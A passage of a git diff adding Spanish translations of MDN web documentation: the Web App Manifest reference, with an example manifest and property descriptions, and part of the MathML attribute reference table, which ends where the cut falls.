+ <li><a href="https://hacks.mozilla.org/2011/12/faster-canvas-pixel-manipulation-with-typed-arrays">Rápida manipulación de píxeles en canvas con arreglos tipados</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/typed_arrays">Arreglos tipados: Datos binarios en el navegador</a></li>
+ <li>{{Glossary("Endianness")}}</li>
+</ul>
diff --git a/files/es/web/manifest/index.html b/files/es/web/manifest/index.html
new file mode 100644
index 0000000000..308ec56be5
--- /dev/null
+++ b/files/es/web/manifest/index.html
@@ -0,0 +1,384 @@
+---
+title: Web App Manifest
+slug: Web/Manifest
+translation_of: Web/Manifest
+---
+<p>El manifiesto de aplicaciones web proporciona información sobre una aplicación (como nombre, autor, icono y descripción) en un documento simplificado. Su principal propósito es crear <a href="/en-US/docs/Web/Apps/Progressive">progressive web apps</a>: aplicaciones web que se pueden instalar desde la pantalla principal de un dispositivo sin necesidad de hacerlo a traves de una app store (y otras ventajas como disponibilidad offline y enviar notificaciones push cuando cambia el contenido de la aplicación.)</p>
+
+<h2 id="Manifiesto_de_ejemplo">Manifiesto de ejemplo</h2>
+
+<pre class="brush: json notranslate">{
+  "name": "Google I/O 2015",
+  "short_name": "I/O 2015",
+  "start_url": "./?utm_source=web_app_manifest",
+  "display": "standalone",
+  "icons": [{
+    "src": "images/touch/homescreen48.png",
+    "sizes": "48x48",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen72.png",
+    "sizes": "72x72",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen96.png",
+    "sizes": "96x96",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen144.png",
+    "sizes": "144x144",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen168.png",
+    "sizes": "168x168",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen192.png",
+    "sizes": "192x192",
+    "type": "image/png"
+  }],
+  "related_applications": [{
+    "platform": "web"
+  }, {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.google.samples.apps.iosched"
+  }]
+}</pre>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<h3 id="background_color"><code>background_color</code></h3>
+
+<p>Define el color de fondo deseado para la aplicación. Este valor repite lo definido en la hoja de estilos de la aplicación, pero puede ser utilizado por los navegadores para pintar el color de fondo de una app si el manifiesto está disponible antes de que la hoja de estilos se haya cargado. Esto suaviza la transición entre lanzar una aplicación y cargar el contenido de la misma.</p>
+
+<pre class="brush: json notranslate">"background_color": "red"</pre>
+
+<div class="note">
+<p><strong>Note</strong>: El <code>background_color</code> únicamente está destinado a mejorar la experiencia de usuario mientras se carga la aplicación y no se debe usar como color de fondo cuando la hoja de estilos de la aplicación esté disponible.</p>
+</div>
+
+<h3 id="description"><code>description</code></h3>
+
+<p>Proporciona una descripción general sobre qué hace la aplicación.</p>
+
+<pre class="brush: json notranslate">"description": "The app that helps you find the best food in town!"</pre>
+
+<h3 id="dir"><code>dir</code></h3>
+
+<p>Especifica la dirección del texto para <code>name</code>, <code>short_name</code>, y <code>description</code>. Junto con <code>lang</code>, ayuda a representar correctamente los idiomas que se escriben de derecha a izquierda (right-to-left).</p>
+
+<pre class="brush: json notranslate" dir="rtl">"dir": "rtl",
+"lang": "ar",
+"short_name": "أنا من التطبيق!"</pre>
+
+<p>Puede tener uno de los siguentes valores:</p>
+
+<ul>
+ <li><code>ltr</code> (izquierda a derecha)</li>
+ <li><code>rtl</code> (derecha a izquierda)</li>
+ <li><code>auto</code> (indica al navegador que use el algoritmo Unicode bidirectional para hacer una estimación apropiada sobre la dirección del texto.)</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Cuando se omite este valor, por defecto es <code>auto</code>.</p>
+</div>
+
+<h3 id="display"><code>display</code></h3>
+
+<p>Define el modo de visualización preferido para la aplicación web.</p>
+
+<pre class="brush: json notranslate">"display": "standalone"</pre>
+
+<p>Los valores aceptados son:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Display Mode</th>
+   <th scope="col">Description</th>
+   <th scope="col">Fallback Display Mode</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fullscreen</code></td>
+   <td>Se utiliza toda la pantalla disponible no se muestran elementos del user agent {{Glossary("chrome")}}.</td>
+   <td><code>standalone</code></td>
+  </tr>
+  <tr>
+   <td><code>standalone</code></td>
+   <td>La aplicación se mostrará como una app independiente. Así la aplicación puede tener su propia ventana, su propio icono en el lanzador de aplicaciones, etc. En este modo, the user agent excluirá los elementos de interfaz para controlar la navegación, pero puede incluir otros elementos como la barra de estado.</td>
+   <td><code>minimal-ui</code></td>
+  </tr>
+  <tr>
+   <td><code>minimal-ui</code></td>
+   <td>La aplicación se mostrará como una app independiente, pero tendrá un mínimo de elementos de interfaz para controlar la navegación. Estos elementos podrán variar según navegador.</td>
+   <td><code>browser</code></td>
+  </tr>
+  <tr>
+   <td><code>browser</code></td>
+   <td>La aplicación se abrirá en una pestaña nueva del navegador o una ventana nueva, dependiendo del navegador y plataforma. Esto es por defecto. </td>
+   <td>(None)</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Puedes aplicar selectivamente CSS a tu app basandote en el modo de visualización, usando la característica <a href="/docs/Web/CSS/@media/display-mode">display-mode</a>. Se puede utilizar para proporcionar una experiencia de usuario consistente al lanzar un site desde una URL y lanzarlo desde un icono de escritorio.</p>
+</div>
+
+<h3 id="icons"><code>icons</code></h3>
+
+<p>Especifica un <em>array</em> de imágenes que pueden servir como iconos de aplicación en diferentes contextos. Por ejemplo, se pueden utilizar para representar la aplicación entre un listado de aplicaciones, o para integrar la aplicación web con un gestor de tareas del sistema operativo y/o las preferencias del sistema.</p>
+
+<pre class="brush: json notranslate">"icons": [
+  {
+    "src": "icon/lowres.webp",
+    "sizes": "48x48",
+    "type": "image/webp"
+  },
+  {
+    "src": "icon/lowres",
+    "sizes": "48x48"
+  },
+  {
+    "src": "icon/hd_hi.ico",
+    "sizes": "72x72 96x96 128x128 256x256"
+  },
+  {
+    "src": "icon/hd_hi.svg",
+    "sizes": "72x72"
+  }
+]</pre>
+
+<p>Los objetos de imagen pueden contener los siguientes valores:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Member</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>Una cadena que contiene separados por espacios las dimensiones de la imagen. </td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>La ruta de acceso al archivo de imagen.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>A hint as to the media type of the image.The purpose of this member is to allow a user agent to quickly ignore images of media types it does not support.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="lang"><code>lang</code></h3>
+
+<p>Especifica el idioma principal para in the <code>name</code> and <code>short_name</code> members. This value is a string containing a single language tag.</p>
+
+<pre class="brush: json notranslate">"lang": "en-US"</pre>
+
+<h3 id="name"><code>name</code></h3>
+
+<p>Provides a human-readable name for the application as it is intended to be displayed to the user, for example among a list of other applications or as a label for an icon.</p>
+
+<pre class="brush: json notranslate">"name": "Google I/O 2015" </pre>
+
+<h3 id="orientation"><code>orientation</code></h3>
+
+<p>Define la orientación por defecto for all the web application's top level {{Glossary("Browsing context", "browsing contexts")}}.</p>
+
+<pre class="brush: json notranslate"><code>​​"orientation": "portrait-primary"</code></pre>
+
+<p>Orientation puede ser alguno de los siguentes valores:</p>
+
+<ul>
+ <li><code>any</code></li>
+ <li><code>natural</code></li>
+ <li><code>landscape</code></li>
+ <li><code>landscape-primary</code></li>
+ <li><code>landscape-secondary</code></li>
+ <li><code>portrait</code></li>
+ <li><code>portrait-primary</code></li>
+ <li><code>portrait-secondary</code></li>
+</ul>
+
+<h3 id="prefer_related_applications"><code>prefer_related_applications</code></h3>
+
+<p>Especifica un valor booleano que sugiere que el agente de usuario le indique al usuario que las aplicaciones específicas relacionadas (ver abajo) están disponibles, y recomendadas sobre la aplicación web. Esto solamente debería ser usado si la aplicación nativa relacionada realmente ofrece algo que la aplicación web no puede hacer.  </p>
+
+<pre class="brush: json notranslate">"prefer_related_applications": false</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Si se omite, el valor por defecto es <code>false</code>.</p>
+</div>
+
+<h3 id="related_applications"><code>related_applications</code></h3>
+
+<p>Specifies an array of "application objects" representing native applications that are installable by, or accessible to, the underlying platform — for example a native Android application obtainable through the Google Play Store. Such applications are intended to be alternatives to the web application that provide similar or equivalent functionality — like the native app version of the web app.</p>
+
+<pre class="brush: json notranslate">"related_applications": [
+  {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=com.example.app1",
+    "id": "com.example.app1"
+  }, {
+    "platform": "itunes",
+    "url": "https://itunes.apple.com/app/example-app1/id123456789"
+  }]</pre>
+
+<p>Los objetos Application pueden contener los siguientes valores:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Member</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>platform</code></td>
+   <td>The platform on which the application can be found.</td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>The URL at which the application can be found.</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td>The ID used to represent the application on the specified platform.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scope"><code>scope</code></h3>
+
+<p>Define el ámbito de navegación en el contexto de la aplicación web. Esto basicamente restringe qué paginas se pueden ver cuando se aplica el manifiesto. Si el usuario navega fuera del ámbito de la aplicación, continúa como en una web normal. </p>
+
+<pre class="brush: json notranslate">"scope": "/myapp/"</pre>
+
+<h3 id="short_name"><code>short_name</code></h3>
+
+<p>Proporciona un nombre corto para la aplicación. Está destinado para su uso cuando hay poco espacio para mostrar el nombre completo de la aplicación.</p>
+
+<pre class="brush: json notranslate">"short_name": "I/O 2015"
+</pre>
+
+<h3 id="start_url"><code>start_url</code></h3>
+
+<p>Especifica la URL que se carga cuando el usuario lanza la aplicación desde un dispositivo. </p>
+
+<pre class="brush: json notranslate">"start_url": "./?utm_source=web_app_manifest"</pre>
+
+<h3 id="theme_color"><code>theme_color</code></h3>
+
+<p>Define el color por defecto para la aplicación. Esto en ocasiones afecta a como se muestra por el OS (e.g., en el lanzador de aplicaciones de Android, el color envuelve la aplicación).  </p>
+
+<pre class="brush: json notranslate">"theme_color": "aliceblue"</pre>
+
+<h2 id="Splash_screens">Splash screens</h2>
+
+<p>En Chrome 47 y posteriores, se muestra una pantalla de bienvenida para las aplicaciones web que se inician desde la pantalla de inicio. Esta pantalla de bienvenida se genera de automáticamente mediante las propiedades del manifiesto de la aplicación web, especificamente: <code>name</code>, <code>background_color</code>, y el icono de la lista <code>icons</code> que sea el más cercano a los 128dpi para el dispositivo.</p>
+
+<h2 id="Tipo_Mime">Tipo Mime</h2>
+
+<p>Los manifiestos web se deben servir con el tipo MIME  <code>application/manifest+json</code>. Sin embargo, esto es opcional.  </p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Manifest')}}</td>
+   <td>{{Spec2('Manifest')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>background_color</code> and <code>theme_color</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>32.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>background_color</code> and <code>theme_color</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(46.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Does not support <code>lang</code> or <code>scope</code>.</p>
diff --git a/files/es/web/mathml/attribute/index.html b/files/es/web/mathml/attribute/index.html
new file mode 100644
index 0000000000..671bb7ddf7
--- /dev/null
+++ b/files/es/web/mathml/attribute/index.html
@@ -0,0 +1,485 @@
+---
+title: MathML attribute reference
+slug: Web/MathML/Attribute
+translation_of: Web/MathML/Attribute
+---
+<p>Esta  es una lista alfabetica de atributos de MathML. Más detalles de cada atributo está disponible en cada <a href="/en-US/docs/MathML/Element" title="/en-US/docs/MathML/Element">página de los elementos</a>.</p>
+<p>Notas:</p>
+<ul>
+  <li>Los elementos MathML {{ MathMLElement("mstyle") }} y {{ MathMLElement("math") }} {{ gecko_minversion_inline("7.0") }}  aceptan todos los atributos de todos los elementos de presentacion.</li>
+  <li>Vea los <a href="/en-US/docs/MathML/Attributes/Values" title="/en-US/docs/MathML/Attributes/Values">valores</a> de las notas sobre los valores y unidades en MathML.</li>
+</ul>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th>Nombre</th>
+      <th>Atributos aceptados</th>
+      <th>Descripción</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr id="accent">
+      <td><code>accent</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mover") }}, {{ MathMLElement("munderover") }}</td>
+      <td>Un valor booleano que especifíca si el operador debe ser tratado como un acento.</td>
+    </tr>
+    <tr id="accentunder">
+      <td><code>accentunder</code></td>
+      <td>{{ MathMLElement("munder") }}, {{ MathMLElement("munderover") }}</td>
+      <td>Un valor booleano que especifíca si el operador debe ser tratado como un acento.</td>
+    </tr>
+    <tr id="actiontype">
+      <td><code>actiontype</code></td>
+      <td>{{ MathMLElement("maction") }}</td>
+      <td>Un valor de cadena que especifica la acción pasada al elemento.</td>
+    </tr>
+    <tr id="align">
+      <td><code>align</code></td>
+      <td>{{ MathMLElement("mtable") }}<br>
+        {{ MathMLElement("munder") }}, {{ MathMLElement("mover") }}, {{ MathMLElement("munderover") }}<br>
+        {{ MathMLElement("mstack") }}</td>
+      <td>Especifica diferentes alineaciones de varios elementos (consulte la página de elementos para más detalles)</td>
+    </tr>
+    <tr id="alignmentscope">
+      <td>{{ unimplemented_inline() }} <code>alignmentscope</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Un valor booleano que especifica si las columnas de la tabla deben actuar como ámbitos de alineación o no.</td>
+    </tr>
+    <tr id="alt-*">
+      <td>{{ unimplemented_inline() }}<br>
+        <code>altimg</code><br>
+        <code>altimg-width</code><br>
+        <code>altimg-height</code><br>
+        <code>altimg-valign</code><br>
+        <code>alttext</code></td>
+      <td>{{ MathMLElement("math") }}</td>
+      <td>Opciones visuales y textuales de repliegue</td>
+    </tr>
+    <tr id="bevelled">
+      <td><code>bevelled</code></td>
+      <td>{{ MathMLElement("mfrac") }}</td>
+      <td>Especifica el estilo de como se debe mostrar la fracción.</td>
+    </tr>
+    <tr id="charalign">
+      <td>{{ unimplemented_inline() }} <code>charalign</code></td>
+      <td>{{ MathMLElement("mstack") }}</td>
+      <td>Especifica la alineación horizontal de los dígitos.</td>
+    </tr>
+    <tr id="close">
+      <td><code>close</code></td>
+      <td>{{ MathMLElement("mfenced") }}</td>
+      <td>Una cadena para el delimitador de cierre.</td>
+    </tr>
+    <tr id="columnalign">
+      <td><code>columnalign</code></td>
+      <td>{{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}, {{ MathMLElement("mlabeledtr") }}</td>
+      <td>Especifica la alineación horizontal de las celdas de la tabla.</td>
+    </tr>
+    <tr id="columnlines">
+      <td><code>columnlines</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica los bordes de la columna de la tabla.</td>
+    </tr>
+    <tr id="columnspacing">
+      <td>{{ unimplemented_inline() }} <code>columnspacing</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica el espacio entre las columnas de la tabla.</td>
+    </tr>
+    <tr id="columnspan">
+      <td><code>columnspan</code></td>
+      <td>{{ MathMLElement("mtd") }}</td>
+      <td>Un valor entero no negativo que indica a cuantas columnas se extiende las celdas de la tabla.</td>
+    </tr>
+    <tr id="columnwidth">
+      <td>{{ unimplemented_inline() }} <code>columnwidth</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica el ancho de las columnas de la tabla.</td>
+    </tr>
+    <tr id="crossout">
+      <td>{{ unimplemented_inline() }} <code>crossout</code></td>
+      <td>{{ MathMLElement("mscarry") }}</td>
+      <td>Especifica el tipo de linea que se dibuja para tachar.</td>
+    </tr>
+    <tr id="decimalpoint">
+      <td>{{ unimplemented_inline() }} <code>decimalpoint</code></td>
+      <td>{{ MathMLElement("mstyle") }}</td>
+      <td>Si el valor de <code>decimalpoint</code> es usado para especificar la <a href="#align">alineación</a>, este atributo especifica el caracter del punto de alineación dentro de las columnas de {{ MathMLElement("mstack") }} y {{ MathMLElement("mtable") }} .</td>
+    </tr>
+    <tr id="denomalign">
+      <td><code>denomalign</code></td>
+      <td>{{ MathMLElement("mfrac") }}</td>
+      <td>La alineación del denominador bajo la fracción.</td>
+    </tr>
+    <tr id="depth">
+      <td><code>depth</code></td>
+      <td>{{ MathMLElement("mpadded") }}</td>
+      <td>Establece o incrementa la profundidad. Ver <a href="/en-US/docs/MathML/Attributes/Values" title="/en-US/docs/MathML/Attributes/Values">longitud</a>.</td>
+    </tr>
+    <tr id="dir">
+      <td><code>dir</code></td>
+      <td>{{ MathMLElement("math") }}, {{ MathMLElement("mi") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("mrow") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
+      <td>La dirección del texto. Posibles valores son ltr (izquierda a derecha) o rtl (derecha a izquierda).</td>
+    </tr>
+    <tr id="display">
+      <td><code>display</code></td>
+      <td>{{ MathMLElement("math") }}</td>
+      <td>Especifica el modo de renderizado. Los valores <code>block</code> e <code>inline</code> son permitidos.</td>
+    </tr>
+    <tr id="displaystyle">
+      <td><code>displaystyle</code></td>
+      <td>{{ MathMLElement("mstyle") }}, {{ MathMLElement("mtable") }}</td>
+      <td>
+        <p>Un valor booleano que especifica si un espacio más vertical es usado para las ecuaciones mostradas o, si se establece como <code>false</code>, un diseño más compacto se utiliza para mostrar las formulas.</p>
+      </td>
+    </tr>
+    <tr id="edge">
+      <td>{{ unimplemented_inline() }} <code>edge</code></td>
+      <td>{{ MathMLElement("malignmark") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="equalcolumns">
+      <td>{{ unimplemented_inline() }} <code>equalcolumns</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>
+        <p>Un valor booleano que indica si se debe obligar a las columnas a tener la misma altura total.</p>
+      </td>
+    </tr>
+    <tr id="equalrows">
+      <td>{{ unimplemented_inline() }} <code>equalrows</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Un valor booleano que indica si se debe obligar a las filas a tener la misma altura total.</td>
+    </tr>
+    <tr id="fence">
+      <td><code>fence</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>
+        <p>Un valor booleano que indica si el operador está cercado (como parentesis). No hay efecto visual de este atributo.</p>
+      </td>
+    </tr>
+    <tr id="form">
+      <td>{{ unimplemented_inline() }} <code>form</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>
+        <p>Especifica el rol del operador en una expresión cerrada.</p>
+      </td>
+    </tr>
+    <tr id="frame">
+      <td><code>frame</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>
+        <p>Especifica bordes de toda una {{ MathMLElement("mtable") }}. Posibles valores son: <code>none</code> (default), <code>solid</code> y <code>dashed</code>.</p>
+      </td>
+    </tr>
+    <tr id="framespacing">
+      <td>{{ unimplemented_inline() }} <code>framespacing</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Especifica espacio adicional agregado entre la tabla y el frame.</td>
+    </tr>
+    <tr id="groupalign">
+      <td>{{ unimplemented_inline() }} <code>groupalign</code></td>
+      <td>{{ MathMLElement("maligngroup") }}, {{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="height">
+      <td><code>height</code></td>
+      <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}</td>
+      <td>Especifica la altura deseada. Ver <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">longitudes</a> para los posibles valores.</td>
+    </tr>
+    <tr id="href">
+      <td><code>href</code></td>
+      <td><em>All</em></td>
+      <td>Usado para estableces un hyperlink para determinada URL.</td>
+    </tr>
+    <tr id="id">
+      <td><code>id</code></td>
+      <td><em>All</em></td>
+      <td>Establece un unico identificador asociado con el elemento.</td>
+    </tr>
+    <tr id="indentalign">
+      <td>{{ unimplemented_inline() }} <code>indentalign</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="indentalignfirst">
+      <td>{{ unimplemented_inline() }} <code>indentalignfirst</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="indentalignlast">
+      <td>{{ unimplemented_inline() }} <code>indentalignlast</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="indentshift">
+      <td>{{ unimplemented_inline() }} <code>indentshift</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="indentshiftfirst">
+      <td>{{ unimplemented_inline() }} <code>indentshiftfirst</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="indentshiftlast">
+      <td>{{ unimplemented_inline() }} <code>indentshiftlast</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="indenttarget">
+      <td>{{ unimplemented_inline() }} <code>indenttarget</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="infixlinebreakstyle">
+      <td>{{ unimplemented_inline() }} <code>infixlinebreakstyle</code></td>
+      <td>{{ MathMLElement("mstyle") }}</td>
+      <td>Especifica el valor por defecto de <code>linebreakstyle</code> a usar para los operadores infijos.</td>
+    </tr>
+    <tr id="largeop">
+      <td><code>largeop</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>Especifica si el operador debe dibujarse más grande de lo normal.</td>
+    </tr>
+    <tr id="length">
+      <td><code>length</code></td>
+      <td>{{ MathMLElement("msline") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="linebreak">
+      <td>{{ unimplemented_inline() }} <code>linebreak</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="linebreakmultchar">
+      <td>{{ unimplemented_inline() }} <code>linebreakmultchar</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="linebreakstyle">
+      <td>{{ unimplemented_inline() }} <code>linebreakstyle</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="lineleading">
+      <td>{{ unimplemented_inline() }} <code>lineleading</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mspace") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="linethickness">
+      <td><code>linethickness</code></td>
+      <td>{{ MathMLElement("mfrac") }}</td>
+      <td>El grosor de la linea de fracción horizontal.</td>
+    </tr>
+    <tr id="location">
+      <td>{{ unimplemented_inline() }} <code>location</code></td>
+      <td>{{ MathMLElement("mscarries") }}</td>
+      <td> </td>
+    </tr>
+    <tr id="longdivstyle">
+      <td>{{ unimplemented_inline() }} <code>longdivstyle</code></td>
+      <td>{{ MathMLElement("mlongdiv") }}</td>
+      <td>Controla el estilo del diseño de la división larga.</td>
+    </tr>
+    <tr id="lspace">
+      <td><code>lspace</code></td>
+      <td>{{ MathMLElement("mo") }}, {{ MathMLElement("mpadded") }}</td>
+      <td>La cantidad de espacio antes del operador(ver <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">length</a> para valores y unidades).</td>
+    </tr>
+    <tr id="lquote">
+      <td><code>lquote</code></td>
+      <td>{{ MathMLElement("ms") }}</td>
+      <td>El carácter de apertura de citas que encierra el contenido. El valor predeterminado es "<code>&amp;quot;</code>".</td>
+    </tr>
+    <tr id="mathbackground">
+      <td><code>mathbackground</code></td>
+      <td><em>All</em></td>
+      <td>El colo de fondo. Puedes usar <code>#rgb</code>, <code>#rrggbb</code> y <a href="/en-US/docs/CSS/color_value#HTML.2fSVG.2fX11.c2.a0_Color_Keywords" title="/en-US/docs/CSS/color_value#HTML.2fSVG.2fX11.c2.a0_Color_Keywords">nombres de color HTML</a>.</td>
+    </tr>
+    <tr id="mathcolor">
+      <td><code>mathcolor</code></td>
+      <td><em>All</em></td>
+      <td>El color de texto. Puedes usar  <code>#rgb</code>, <code>#rrggbb</code> y <a href="/en-US/docs/CSS/color_value#HTML.2fSVG.2fX11.c2.a0_Color_Keywords" title="/en-US/docs/CSS/color_value#HTML.2fSVG.2fX11.c2.a0_Color_Keywords">nombres de color HTML</a>.</td>
+    </tr>
+    <tr id="mathsize">
+      <td><code>mathsize</code></td>
+      <td>{{ MathMLElement("mi") }}, {{ MathMLElement("mn") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
+      <td>El tamaño del contenido. Comenzando con Gecko 20.0 {{geckoRelease("20")}} valores sin unidades están permitidos y se interpretan como N veces el tamaño predeterminado.</td>
+    </tr>
+    <tr id="mathvariant">
+      <td><code>mathvariant</code></td>
+      <td>{{ MathMLElement("mi") }}, {{ MathMLElement("mn") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
+      <td>La clase logica del identificador, la cual varia en tipografia.</td>
+    </tr>
+    <tr id="maxsize">
+      <td><code>maxsize</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>El tamaño máximo del operador.</td>
+    </tr>
+    <tr id="minlabelspacing">
+      <td>{{ unimplemented_inline() }} <code>minlabelspacing</code></td>
+      <td>{{ MathMLElement("mtable") }}</td>
+      <td>Un <a href="/en-US/docs/MathML/Attributes/Values" title="/en-US/docs/MathML/Attributes/Values">valor de longitud</a> espcificando el minimo espacio entre una <a href="Element/mlabeledtr" rel="internal" title="/en-US/docs/MathML/Element/mlabeledtr">etiqueta</a> y la celda adjacente en la fila.</td>
+    </tr>
+    <tr id="minsize">
+      <td><code>minsize</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>El tamaño mínimo del operador.</td>
+    </tr>
+    <tr id="movablelimits">
+      <td><code>movablelimits</code></td>
+      <td>{{ MathMLElement("mo") }}</td>
+      <td>Especifica si los guiones bajos y altos se mueven a las posiciones de sub-índice o super-índice.</td>
+    </tr>
+    <tr id="notation">
+      <td><code>notation</code></td>
+      <td>{{ MathMLElement("menclose") }}</td>
+      <td>Una lista de anotaciones, separado por espacios en blanco, para aplicar a los elementos secundarios.</td>
+    </tr>
+    <tr id="numalign">
+      <td><code>numalign</code></td>
+      <td>{{ MathMLElement("mfrac") }}</td>
+      <td>La alineación del numerador en la fracción.</td>
+    </tr>
+    <tr id="open">
+      <td><code>open</code></td>
+      <td>{{ MathMLElement("mfenced") }}</td>
+      <td>Una cadena para el delimitador de apertura.</td>
+    </tr>
+    <tr id="overflow">
+      <td>{{ unimplemented_inline() }} <code>overflow</code></td>
